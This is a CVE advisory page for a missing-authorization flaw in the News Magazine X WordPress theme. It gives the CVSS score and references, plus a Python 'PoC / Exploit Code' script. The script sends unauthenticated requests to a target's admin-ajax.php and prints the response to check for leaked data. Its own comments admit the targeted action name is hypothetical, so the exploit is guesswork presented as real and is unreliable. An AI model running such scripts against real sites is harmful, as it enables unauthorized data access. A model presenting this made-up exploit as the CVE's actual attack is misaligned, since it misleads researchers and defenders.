CVE-2026-24382

Description

Missing Authorization vulnerability in wproyal News Magazine X news-magazine-x allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects News Magazine X: from n/a through <= 1.2.50.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

News Magazine X <= 1.2.50

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def exploit_missing_auth(target_url):
    """
    PoC for CVE-2026-24382 Missing Authorization
    """
    # The endpoint usually targets admin-ajax.php in WordPress
    ajax_url = f"{target_url}/wp-admin/admin-ajax.php"
    
    # Payload based on the vulnerable action (hypothetical action name)
    data = {
        "action": "nmx_export_data",  # Example action susceptible to missing auth
        "type": "all"
    }

    try:
        response = requests.post(ajax_url, data=data, timeout=10)
        if response.status_code == 200:
            print(f"[+] Request sent to {ajax_url}")
            print(f"[+] Response (Status: {response.status_code}):")
            print(response.text[:500]) # Print first 500 chars to verify data leakage
        else:
            print(f"[-] Server returned status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    target = "http://example.com"
    exploit_missing_auth(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24382
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24382
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24382/
[4] VulDB https://vuldb.com/cve/CVE-2026-24382
[5] https://patchstack.com/database/Wordpress/Theme/news-magazine-x/vulnerability/wordpress-news-magazine-x-theme-1-2-50-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

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